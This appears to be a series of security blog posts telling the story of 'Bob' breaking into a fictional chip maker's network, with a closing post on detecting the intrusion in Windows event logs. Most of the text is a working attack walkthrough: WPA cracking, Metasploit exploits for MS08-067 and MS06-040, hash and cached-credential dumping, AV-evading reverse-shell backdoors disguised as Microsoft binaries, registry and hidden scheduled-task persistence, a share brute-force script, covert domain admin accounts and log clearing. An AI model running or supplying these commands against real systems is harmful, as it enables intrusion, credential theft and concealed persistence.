aturday, October 24, 2009

Bobs Double Penetration Adventure - Part 1

A couple of days ago a mate at work asked about the security issues surrounding computers

that are connected to the company network and also to the Internet via a wifi connection. This

question was perfect fodder for a Bob story I thought. So the story goes.......

Bobs a curious fella and he really likes to explore. Lately he's been learning about hacking,

nothing evil, just really having a look in places that he shouldn't be looking, you know, a

curiosity thing. As Bob sits at home it occurs to him that the perfect target for his hacking

adventures is Walliford Fries, a chip maker based in his small town. He has nothing against

Wallifords, he doesn't mean them any harm, he's just pissed off at the way the Wallifords are

unloading their trucks at 5 in the morning and waking him up. So his intention is to see if he

can get onto the Walliford network with some if these free hacking tools he's downloaded

from the web and use Wallifords as his new playground.

Bob's not a traditional hacker, he doesn't go to the targets website and spend hours going

through the detail, looking for business relationships, email address, job postings etc.. He

hasn't even started looking at IP ranges and ports. All Bob has done is fire up his laptop

sporting a brand new install of BackTrack4 and looked at whats about on the Wifi.

That's interesting, here he has a WPA network called WF-IT that is no doubt Walliford Fries

related, After all, his house is within spitting distance of the Walliford offices. Shame its not

WEP though, that could be cracked in minutes. Now Bob knows that his best bet is to

customise his word list for this particular target, so he decides to scrape Wallifords website

and add all those words to his wordlist.

wget -r http://www.wallifordfries.com

wyd.pl -n -o /root/temp/WF-wordlist.txt /root/www.wallifordfries.com/

cat /root/temp/WF-wordlist.txt | sort | uniq > wordlist2.txt

cat wordlist2.txt | pw-inspector -m 1 -M 20 >WF-customlist.txt

After creating his custom wordlist Bob decides to add it to an existing wordlist. As he'll need

to create a hash of his wordlist to bruteforce the WPA key he just opts for his small but

popular password list, if this fails he'll have to go for the bigger wordlist he likes to call

"Mother", but first he'll opt for the easy option.

cat WF-customlist >>/root/temp/wordlist.txt

Bob now needs to get his wireless sniff on. He puts his wifi card into monitor mode and grabs

the necessary BSSIDs of the access point and a client.

airmon-ng start wlan0 11

airodump-ng -c 11 mon0

With the BSSID of the client and the Access Point he starts his capture and saves it to a file.

airodump-ng -c 11 --bssid 00:18:F8:4B:43:86 -w /root/temp/Walliford mon0

With the capture going he sends a few de-auths packets so he can capture the 4 way

handshake, this is critical for him to perform his WPA crack.

aireplay-ng -0 1 -a 00:18:F8:4B:43:86 -c 00:11:50:BB:D6:28 mon0

Great, Bob now has all he needs to begin his WPA crack. He quickly generates his hash file

from the custom wordlist, hopefully all this effort will pay off.

To generate the hash he uses the genpmk tool from the cowpatty directory.

./genpmk -f /root/temp/wordlist.txt -d /root/temp/hash -s WF-IT

And to crack the key he uses cowpatty.

./cowpatty -r /root/temp/Walliford-01.cap -d /root/temp/hash -s WF-IT

Bingo! Bob got the WPA key in no time at all. He checks it by taking the card out of monitor

mode and connecting to the AP.

airmon-ng stop mon0

Excellent, as soon as Bob finishes punching the air and doing his little dance he checks the

wifi network for other hosts.

nmap 192.168.2.0/24 -sP

Got one, well two if you count the Linksys AP but lets focus on the one using the Belkin card

for now. Wondering what ports it has open Bob puts Nmap to good use, again saving the

results to a file.

nmap 192.168.2.102 -sV -oA ~/temp/wal-nmap

Bobs intention is to fire up Nessus and scan his target but first he knows a quick way to check

for a vulnerability that he knows he has a working exploit for.

nmap 192.168.2.102 -PN -T4 -p139,445 -n --script=smb-check-vulns --script-args=unsafe=1

Perfect, Nmap has told Bob that he should be able to exploit the remote PC with the conficker

exploit. He can't believe that Walliford still has unpatched PC's for this vulnerability. I guess

the guys from pauldotcom are right. They have a firewall and they have AV so there safe

right? Wrong!

Bob confirms his findings with Nessus and checks for any other vulnerabilities that he might

have some fun with.

Well Nessus confirmed the vulnerability from his Nmap scan which is good but it doesn't

find much else. Oh well, he saves his scan as an .nbe file so he can feed it into Metasploit.

After firing up Metasploit Bob decides to try out the db_autopwn feature to launch any

exploits that it has against the ports it's found open.

db_create walliford

db_import_nessus_nbe /root/temp/walliford.nbe

db_hosts

db_autopwn -p -e -r -t

Oh and time for another crazy dance, Bob gets a session on the remote host and he can see

that he's got system privileges which is always nice. He dumps out the local users hashes for

some John the Ripper fun later and he checks out the route table. Superb, he can see that the

remote host is also connected to the Walliford LAN.

sysinfo

getuid

hashdump

At this point Bob decides at this point to get a little interactive so he pulls up a command

prompt on the compromised host.

execute -H -f cmd.exe -i

He TFTP's a couple of handy dandy files from his laptop and grabs the hashes of any domain

accounts that have logged into this box. With a hostname such as PC-IT-1 he guesses these

are going to be quite useful for his exploration adventures in his new playground.

tftp -i 192.168.2.101 get cachedump.exe

tftp -i 192.168.2.101 get klogger.exe

cachedump.exe

Now he decides to have a little look around on the server. He maps a drive to the IT folder

and attempts to have a poke around.

net view \\server01

net use * \\server01\IT

Damn. The NTFS permissions wont allow him access. Then it dawns on him, the system

account he is using doesn't have permissions on the server. Maybe not but with a hostname

like PC-IT-1 the logged in user probably will have. He comes out of his session lists the

processes and then migrates to a process which is running in the context of the user.

quit

ps

getuid

migrate 784

getuid

Perfect, he's migrated to the Explorer.exe process and now he's now running as James. Bob

launches an interactive shell again and checks his mapped drives.

execute -H -f cmd.exe -i

net use

I:

Brilliant. Bobs got access to the IT folder. From here he can have a good poke around before

he decides his next move. He's got some good old fashioned password cracking to do and

times getting on so Bob decides to call t a day for now.

Saturday, October 31, 2009

Bobs Double Penetration Adventure - Part 2

So Bob decides to revisit his new found playground at Walliford Fries and get to grips with

his new tools. He connects up to the wifi with the password he's already cracked and this time

rather than using the Autopwn feature he decides to try something else. Bob's idea is to use

the PC he exploited previously as a point to launch other attacks deeper into the network.

Bob launches his trusty MS08-067 exploit this time with a meterpreter/reverse_tcp payload

use windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.101

set RHOST 192.168.1.102

set ExitOnSession False

exploit -j -z

Excellent, Bob gets his session. He connects to the session and checks the network settings

on his compromised host.

sessions -i 1

execute -H -f cmd.exe -i

ipconfig

While he is on the remote host Bob checks a few things, ideally he could do with knowing

about the network servers. At this point he just wants the basics, name & IP.

Net view

And he could do with the IP addresses too. He'll want these for his scans.

ping -n 1 server01

ping -n 1 server02

That'll do for now. Bob comes out of the shell, backgrounds his meterpreter session and

creates a route pointing to the internal LAN through his session.

exit

background

route add 10.0.1.0 255.255.255.0 1

route print

Now time to see if the magic works. Bob selects the auxiliary scanner and checks the OS

versions of the two servers on the internal LAN by pivoting through his compromised host.

use auxiliary/scanner/smb/version

set RHOSTS 10.0.1.230

run

set RHOSTS 10.0.1.231

run

Hmmm, interesting. Windows 2003 with no service pack. Bob wonders if he can exploit that

through the pivot?

use windows/smb/ms08_067_netapi

set RHOST 10.0.1.231

set PAYLOAD windows/meterpreter/reverse_tcp

exploit

Bugger! No such luck. Hang on though, Bob remembers something he read once. He can use

Mubix's handy dandy deploymsf script to install Metasploit on his compromised host.

Perfect!

He grabs files he needs from the web, putting them into his plugin directory.

cd /pentest/exploits/framework3/plugins/

wget http://metasploit.com/releases/framework-3.3-dev.exe

wget http://www.room362.com/scripts-and-programs/metasploit/deploymsf.rb

And then it's just a case of connecting back to his session on the pwned box, running the

script and pointing it to the metasploit executable.

sessions -i 1

run deploymsf.rb -f ../../../pentest/exploits/framework3/plugins/framework-3.3-dev.exe

Holly crap Batman! look at that. Bob has installed Metasploit on the host he compromised,

thanks to a weak password on the wireless LAN and a missing patch or two.

Now the output isnt always pretty but it gets the job done.

So whats next? Well there is that server with no service pack to take care of. For that Bob

will try his old faithful ms06_040 exploit.

use windows/smb/ms06_040_netapi

set RHOST 10.0.1.231

set PAYLOAD windows/meterpreter/reverse_tcp

exploit

Perfect, another box to play with. Now Bob wants to dig in deep so he can play on this

network for as long as possible so he's going to need to start pulling together some serious

information. He could get this all manually but of course that's pretty dumb, especially when

he can use Dark Operators excellent WinEnum script. This will go out and grab nearly

everything he wants so he acn understand the network better and stick it all in one big text

file so Bob has some bedtime reading. As Bobs already sitting in a meterpreter session he

simply runs the WinEnum script.

run winenum

Sorted. Again it's getting late so Bob decides to call it a day. Before he does though he needs

to leave himself a few backdoors.......which will of course be in the next post.

Tuesday, November 3, 2009

Bob Prepares For Action

Previously in Bob land.......

Bobs back and he's been thinking about his new playground. He's realised that if he's not

careful he'll attract attention and get into trouble, so he needs to lay down some ground-rules

and define some goals before he goes back on the Wallifords network. If he's going to get the

maximum benefit from Wallifords as a training ground rather than a playground he needs to

get serious and stop recklessly throwing exploits at any old box.

Goal 1 To extract as much information about the Walliford Network as possible.

Goal 2 To identify high value targets and gain access to those systems.

Goal 3 To remain undetected.

Goal 4 To generally have fun, learn his tools and practice his techniques.

Pretty simple goals eh. Bob knows that to remain undetected he's going to have to use as

many tools that are already on the compromised host as he can. He knows that he needs to

use as many legitimate tools as possible and only upload those that won't be detected by AV.

Getting his tools onto the compromised hosts is important, but uploading them one by one is

a pain in the arse. Then Bob remembers something he heard in a great presentation on post

exploitation from Dean Der Beer, a reference to a tool called Metacab. He takes a look at

Metacab but decides against using it. Bob really likes the idea of Metacab but he wants a

different set of tools so he goes about making his own version. Using the Makecab tool

already in XP he creates a cab file containing the few additional tools he needs, knowing he

can upload and extract the files from the cab with native windows tools from straight from

the command-line.

The one tool he cannot do without is netcat but AV picks it up quite easily. Then Bob

remembers that his Nmap directory has ncat, a new version of netcat with loads of additional

features. Bob runs it through virustotal to see what gives.

Perfect, only detected by one AV product out of 41. Now Bob knows that he can use this tool

for file transfer, creating proxies and even backdoors. Many of the other tools he decides to

include in the cab file come from the Windows Resource Kit. This means that there is very

little chance of them being detected by AV or looking like Potentially Unwanted

Applications (PUA) on the host.

Tools List

cmd.exe

dsadd.exe

dsget.exe

dsquery.exe

edit.com

ncat.exe

net.exe

ngrep.exe

pmon.exe

PortQry.exe

reg.exe

srvinfo.exe

WinDump.exe

As expected VirusTotal finds nothing wrong with his other tools, but then again why would

it.

So looking at his tools Bob has his ncat for backdoors and file transfer, he has a port scanner,

pmon for keeping an eye on his hosts CPU and memory, tools for extracting anything out of

Active Directory, packet sniffers, SrvInfo which is great for looking at details of servers. He

also includes a couple of standard tools such as Net.exe and Cmd.exe which are there just

encase they had been removed by the Sys Admin. Hopefully he's got everything he needs for

a successful expedition into the Walliford Fries network. If not, he'll go back to the

drawingboard and create a new cab file.

Bob also creates a few bat files that he can use for scanning and password checks. It's easier

to create these now and include them in the cab than it is to write them on the fly.

His first bat file is a simple bruteforce script that will use in-built windows functions to

bruteforce shares. He'll supply a userlist (names.txt) and a common password list (words.txt)

to the bat file. The password list will be common passwords and can be tweaked using the

inbuilt DOS Edit tool when he's on the target, and the userlists will be generated from his

enumeration tool dsquery . After running the bruteforce script any succesfull logins will be

saved to a text file (creds.txt). Bob knows from performing password audits in his other life

that even when complex passwords are enforced users will still pick dumb complex

passwords, such as Password01. And when it comes to change it......well of course were

looking at Password02!

Before any bruteforcing is done Bob will be checking the password policies so he doesn't trip

any account lockout thresholds. So if the account lockout policy triggers after 3 incorrect

attempts in half an hour he'll just try 2 common passwords on all accounts. As they say, slow

and steady wins the race.

Set /P target="Enter Target To Perform BF on:"

For /F %%i in (names.txt) do @(for /f %%j in (words.txt) do @echo %%i:%%j & @net use

\\%target% %%j /u:%%i 2>nul && echo %%i:%%j >> ./creds.txt && net use \\%target%

/del)

Bob will use the either net.exe or dsquery.exe to populate his names.txt file. Dsquery is

fantastic for ripping through Active Directory and if you know what your doing you can use

them to pretty much find out anything about users and computers. The beauty is, these tools

can be run from any user account, so you don't need to pop an admins box to get some juicy

info.

The next bat file that bob will include is to check for hosts that respond to a ping and output

the results to a file.

set /P subnet="Enter subnet:"

for /L %%i in (1,1,255) do @ping -n 1 -w 1 %subnet%.%%i | find "Reply"

Another bat file is created to perform reverse lookups using a nslookup FOR loop.

set /P subnet="Enter subnet:"

For /L %%i in (1,1,255) do @nslookup %subnet%.%%i 2>nul | find "Name" && echo

%subnet%.%%i

And finally a bat file to use the Portqry tool for port scans against hosts in a host file

(hosts.txt). Again he can use dsquery or net.exe to populate the hosts file.

For /F %%i in (hosts.txt) do @PortQry.exe -n %%i -o 21,22,23,25,80,139,445,3389,1433 -p

tcp

Ok, that'll do for now. Bob builds his ddf file for his cab file and creates the cab.

;*** MakeCAB Directive File for bin

;

.OPTION EXPLICIT ;*** Generate errors

.Set MaxCabinetSize=0

.Set MaxDiskSize=0

.Set CabinetNameTemplate=bin.cab

.set DiskDirectoryTemplate=CDROM ;

.Set CompressionType=MSZIP ;

.Set UniqueFiles="OFF"

.Set Cabinet=on

.Set DiskDirectory1=bin bf.bat

cmd.exe

dsadd.exe

dsget.exe

dsquery.exe

edit.com

hosts.txt

names.txt

ncat.exe

net.exe

ngrep.exe

pingsweep.bat

pmon.exe

port-scan.bat

PortQry.exe

reg.exe

rev-lookup.bat

srvinfo.exe

WinDump.exe

words.txt

;*** EOF

And to build his super duper cab, he makes sure all the tools, bat files and the bin.ddf file is

in the same directory and.....

makecab /F bin.ddf

Perfect, after building his cab file it comes in at less than 1MB, Bob honestly couldn't be

happier. He'll have to use the windows built-in tool called Expand.exe to get his files out of

the cab.

expand /F:* bin.cab .

Right with that done Bob is almost ready to hop onto his target and put his tools to good use

and start his network exploration.

Bob Builds His Custom Payloads - Part 4 .......coming next

uesday, November 17, 2009

Bob The Backdoor Man - Part 1

Previously in Bob Land......

Bob hears on the grapevine that ncat won't work as a single executable. This is a bit of a

bugger and it does give Bob a problem. His intention was to use ncat for file transfers,

proxies and backdoors. It was also pretty useful that it was pretty much undetected by AV.

Luckily for Bob he hears from a good friend that it's quite possible to modify netcat to be

able to bypass anti-virus software. And luckily for Bob, the most talented Muts has created a

video that shows him exactly how to do that here.

This problem also presents Bob with the perfect opportunity to get his hands dirty with some

msfpayload love. He reckons that if he creates a couple of payloads to add into his cab file he

should be able to do everything he needs. And the beauty of using msfpayload is he'll be able

to run them through msfencode to bypass most anti-virus.

Before Bob creates his payloads he grabs a copy of winmsd.exe from his Windows OS. It

doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want

this because all his payloads can take on the characteristics of the file. Rather than going to

great lengths to hide a file, Bobs opinion is that hiding in plain site will probably be better.

Payload 1 For Bobs first payload he wants to create a generic payload that will spawn a command shell

when he connects to it on port 6666.

./msfpayload windows/shell_bind_tcp LPORT=6666 R | ./msfencode -t exe -x

/root/payloads/winmsd.exe -o /root/payloads/winmsd16.exe

Bob has specified a payload that will bind a shell to port 6666. He outputs this in raw format

to the msfencode program that will help avoid detection by anti-virus software. Finally he has

specified that the file is called winmsd16.exe and upon physical inspection it will look just

like the original winmsd.exe file.

After Bob creates the file he tests it out on his XP VM to make sure it works as expected.

Side by side it looks just like the original file, it is identical in size and looks just as through

its a legitimate file from Microsoft.

Bob runs the file and checks he can connect to it with netcat.

nc 10.0.1.10 6666

Payload 2 Bobs second payload will connect back to him when he's on the wireless network and present

him with a meterpreter shell.

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=8080 R |

./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd32.exe

Again Bob uses a legitimate file to copy the characteristics from. This time on his host he has

to make sure he has his listener ready on port 8080.

Bob decides that when he creates his listener he'll use msfconsole and pass the following

commands:

use multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.101

set LPORT 8080

set ExitOnSession false

set AutoRunScript winenum.rb

exploit -j -z

Bob has configured his listener to accept multiple sessions coming back to him, and the very

useful winenum script developed by Carlos "Dark operator" Perez will run against each

connecting host. All the information from the script will be stored in ~/.msf/logs/ Bob may

well decide to change this at a later date to another script but for now he's very happy.

With his modified netcat and his payloads created and tested Bob rebuilds his cab file and

goes to get his dinner. He knows that during his network exploration adventures he may well

come up against some problems that will cause him to create some payloads on the fly but

he'll deal with that when it happens.

Whilst eating his dinner Bob begins to worry that if the Admins at Walliford Fries patch the

computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has

come up with a few ideas how he might overcome this particular problem.

Coming next....Backdoor Man - Part 2.

Friday, November 20, 2009

Bob The Backdoor Man - Part 2

Previously in Bob Land....

The very next day Bob feels ready to hop back onto his compromised host on the Walliford

Fries LAN and get his back doors planted. He logs into the wireless network with the WPA

key he cracked earlier and he uses the gets a shell on the unpatched PC with the MS08-067

exploit.

use windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.2.102

set LPORT 8181

set RHOST 192.168.2.101

exploit

Bob migrates to a stable process then uploads his backdoors to the Windows\System32

directory using Meterpreters upload function.

migrate 714

lcd /root/payloads

upload winmsd32.exe

upload winmsd16.exe

After Bob lauches a shell he creates a new user and adds it to the Administrators, Power

Users and the Backup Operators groups

shell

net user MS_Support31337 Support31337 /add

net localgroup Administrators MS_Support31337 /add

net localgroup "Backup Operators" MS_Support31337 /add

net localgroup "Power Users" MS_Support31337 /add

He choose these privileged groups as a group policy may be configured to control the local

Administrators group and by remaining in the other groups he will still have a high level of

access.

Now Bob wants to get down to business and plant some of these lovely backdoors he's

created. Bobs first port of call is to create a registry entry to run his meterpreter payload and

connect back to Bob each time the computer is booted.

reg add

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v

"Microsoft winmsd32" /d "C:\Windows\System32\winmsd32.exe"

Bob check that his registry entry has been set using the reg query command.

reg query

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Then it occurs to Bob that someone may well stumble across his registry entry and remove it

so he decides to have a backup by creating some scheduled tasks. One task (the meterpeter

reverse connect) will run every 10 minutes and the other (the listening shell) will run at

startup.

schtasks /create /tn "Winmsd32" /tr C:\Windows\System32\winmsd32.exe /sc minute /mo 10

/RU "NT AUTHORITY\SYSTEM"

schtasks /create /tn "Winmsd16" /tr C:\Windows\System32\winmsd16.exe /sc onstart /RU

"NT AUTHORITY\SYSTEM"

Now the only way the normal logged in user would see these Scheduled Tasks is by looking

at the directory using a command prompt. Only an Administrator running schtasks on the PC

would see these scheduled tasks, anyone else will see nothing. Even looking at the

C:\Windows\Tasks folder through explorer wouldn't show the tasks as it will only show the

current users tasks.

Bobs pretty happy about this but what would make him happier would be if it was really

really hard to see his backdoors. Then it occurs to him that by changing the attributes on the

jobs in the tasks folder it would be really really hard as the user would have to do a "dir /a:h

*.*" on the directory specifically. Okay, so thats not really really hard but it is a bit of a

bugger!

cd \windows\tasks

Attrib +H winmsd*.job

Then Bob checks his handy work by looking at just hidden files.

Great, Bob fires up another instance of msfconsole and sets up his handler for the sessions

that should start coming in.

use multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.2.102

set LPORT 8080

set ExitOnSession false

set AutoRunScript winenum.rb

exploit -j -z

Within a minute or 2 Bob gets a session from his scheduled task backdoor.

What he really likes about these scheduled tasks is he wont get loads of sessions back from

the same host, but if he looses connection he'll get another session back 10 minutes later.

Also, every now and then Bob can change the AutoRunScript so Metasploit can gather all

sorts of useful information on his behalf.

Now Bob is in, he has his backdoors sorted and he wants to have a look around to see what

else might be interesting. Bob has a knows a guy who works for Wallifords. Now this guys is

a bit of a dick and is always boasting about how much he earns. Bobs sure the guy

exaggerates, wouldn't it be nice if Bob could access the payroll data and see if this guy is

telling the truth?

Oh, look at that, lunch time. Bob goes and gets his dinner and has a think about what other

interesting things he might be able to find on the Walliford network.

Coming next.......Bob gets to know his new friends!

Tuesday, January 19, 2010

What Bob Did. What Alice Saw - Part 1

Recently I've been have way to much fun looking at event logs and digging out which events

are indicators of a compromise. As is typical for me I'll try to wrap some of that knowledge

up into a little Bob story. So here goes.

Part 1 - What Bob did.

Bob has been up to his old tricks again and has found himself on the wrong side of someones

firewall. Well maybe not the wrong side as far as Bob is concerned but it certainly is for

Alice, our Systems Administrator. Bob being Bob decides to start his day with a little

pwnage, he hunts around for a target and after a little scanning decides to go with a wide

open domain controller which he likes to call 10.0.1.233, or as Alice would call it, Server04.

Bob, sporting his brand new installation of BackTrack4 , decides to test drive the fantastic

Fast-Track scripts. He uses Fast-Track not because he's lazy or can't be bothered to learn

Metasploit, but because he only has a few minutes before work and he needs to get his

pwnage on pretty sharpish.

After successfully getting his Meterpreter session Bob uses the shell command to drop down

to a Command prompt. Once at the prompt he decides to list the users on the domain.

net user /domain

The resulting list is quite long and split into 3 columns, as Bob intends to extract the user list

to use in future scripts he decides to make use of the DSQUERY command to give him the

list in a nice single line list.

dsquery * -filter "(&(objectcategory=person)(objectclass=user)(name=*))" -limit 0 -attr

samaccountname

With that done Bob decides to go ahead and quickly create a couple of accounts. He wants to

create 2 accounts, one as a user because after all thats where the data is right. The other

account will be an administrative user because that will help him get to other interesting

places on the network. Another good reason for having 2 accounts is if Wallifords discover

his intrusion they'll likely try to identify the intruders user account and may well stop when

they find the first one. Cunning eh!

Now in the past Bob has used "Net User username password /add" to do this, but that will

create an account that even the crappiest of admins will spot. What Bob needs to do is create

an account that blends in with the rest of the user accounts, to do this he takes a look at a few

user accounts that already exist to see what account properties are populated as standard.

dsquery * -filter "(&(objectcategory=person)(objectclass=user)(samaccountname=jimm))" -

limit 0 -attr *

From here Bob can see that the user Jim Morrison has a Title, Office, Display Name,

telephone Number and Home Drive fields neatly populated as do many of the other users.

Armed with that knowledge Bob creates an account with DSADD that will sit nicely with the

other accounts in the same Organisational Unit.

dsadd user "CN=Bob Ball,OU=Internal,DC=walliford,DC=local" -Samid BobB -Pwd

Eviluser123 -fn Bob -Ln Ball -Display "Bob Ball" -Office Leeds -Tel "01233 455779" -Dept

HR -hmdir \\wal-filer\users\BobB -Title Manager -upn BobB@walliford.local

Bob checks his handy work before he moves onto his next task.

dsquery * -filter "(&(objectcategory=person)(objectclass=user)(samaccountname=BobB))" -

limit 0 -attr *

Now Bob wants to give this user account access to some data, and that will be done by

making Bob a member of some groups.

dsquery * -filter "(&(objectcategory=group)(objectclass=group)(name=*))" -limit 0 -attr

Name

So there is the list of groups but lets take a closer look at the HR one first.

dsquery * -filter "(&(objectcategory=group)(objectclass=group)(name=HR))" -limit 0 -attr *

Okay that'll do. Bob just needs to modify the properties with DSMOD to add his user account

as a member.

dsmod group "CN=HR,OU=Internal,DC=walliford,DC=local" -addmbr "CN=Bob

Ball,OU=Internal,DC=walliford,DC=local"

With that sorted Bob wants to create his admin user. hmmm something that wont stand out

again. He models the account of other built-in accounts and sets his password to never expire.

Hopefully this won't raise any eyebrows.

dsadd user "CN=Cert Owner,CN=Users,DC=walliford,DC=local" -Samid CertOwner -Pwd

EvilAdmin123 -Desc "Built-in account for administering certificates" -Display "Domain

Certificate Owner" -pwdneverexpires yes

Brilliant. No need to go to town on the groups again. This time he's adding the account

straight into Domain Admins.

net group "Domain Admins" CertOwner /add

With that done Bob decides he really needs to get off to work.

Whilst Bobs at work he's slightly troubled that he may have left traces in the logs on the

server he compromised. As soon as he gets home he hops back onto the network and just for

fun connect through RDP to the server to test his account.

Works like a charm. He has a quick look around and logs off the RDP session. Then Bob

remembers what he was supposed to be doing. He gets a new Meterpreter session up and

issues the command to clear the logs

clearev

All sorted. Now it's dinner time, pie and chips tonight.

Friday, January 29, 2010

What Bob Did. What Alice Saw - Part 2

This is the 2nd part of the story which is all about Bob the evil hacker and Alice the

overworked Sys Admin.

In the previous post Bob was using some of his command line Kung Fu to carefully analyse

the Walliford Active Directory before creating some very inconspicuous admin and user

accounts. Bob being the careful kind of guy that he is also attempted to cover his tracks by

deleting the logs on the victim server.

In this post I'll be looking at how Alice might have spotted all Bobs actions if she was

following 2 best practices:

1) Analysing the logs.

2) Logging to another server.

Part 2 - What Alice Saw

Alice turns up at the office a few minutes early as usual. She likes to get in, grab her coffee

and then start on her daily tasks. First she checks her emails for anything urgent, then the

helpdesk, and finally she gets to her server logs. The information that windows logs can be

pretty overwhelming, luckily Alice has a few filters that she can apply to look for key events.

What Alice ideally wants to know is what accounts have been added or deleted and what

groups have been modified. She keeps a list of the events that she needs to watch out for to

spot these types of activities. Other interesting events that Alice keeps a close eye on are

those for people logging into servers, bad passwords and account lockouts.

Her daily log analysis isn't her favorite job, but it's an important one. She would love to get

her boss to pay for a tool to do the log correlation but unfortunately he doesn't see it as an

important enough task. As soon as Alice finds the time and starts looking through the logs

she starts to worry. She see's a whole bunch of login failures from earlier that morning.

On closer inspection Alice sees some very strange looking account names like metasploit.

After those entries Alice sees an event 624 Which indicates a new account has been created

for a user called Bob Ball.

Alice checks the helpdesk to see if a call was raised for a new employee called Bobby Ball, it

wasn't.

Next Alice can see an event 632 that shows that the new account has been added to the HR

group.

She makes a quick call to HR and finds that they know nothing of this mysterious account.

Alice disables the account until she can get to the bottom of what's going on.

Just as Alice finds a few minutes to spare she goes back to her logs and then her phone rings.

As she's summoned to a project meeting she thinks that the logs will have to wait.

Unfortunately the meeting takes up the rest of her day.

The next day Alice gets to the office extra early so she can catch up with her tasks. However,

on connecting to her server she finds the logs are almost completely empty. All the entries

from the previous day had been cleared. The oldest event is a event 517 which shows that the

logs have been cleared.

As Alice sits back and thinks about things she convinced that some evil hacker has tried to

break into her network, she counts her lucky stars that she spotted the hackers account and

disabled it quickly before any damage was done.

The End

Okay, I know my story is pretty crap but I bring all this log stuff up because had recently had

a conversation with someone who didn't realise just how much useful information was

contained in the Windows security event logs. This post is just really to highlight 2 things.

Get your logs off the server, there are plenty of great tools to do that, unfortunately they all

cot a bit. Secondly, build time into your day to analyse the logs. Find out the important events

and find a way to filter the logs to spot when something is wrong.

If you want to learn more about the Windows Event Logs check out Randy Franklin Smiths

site Ulitimate Windows Security. His site is without doubt the best resource for learning

about the windows security logs I have ever found, and his webcasts are pretty amazing.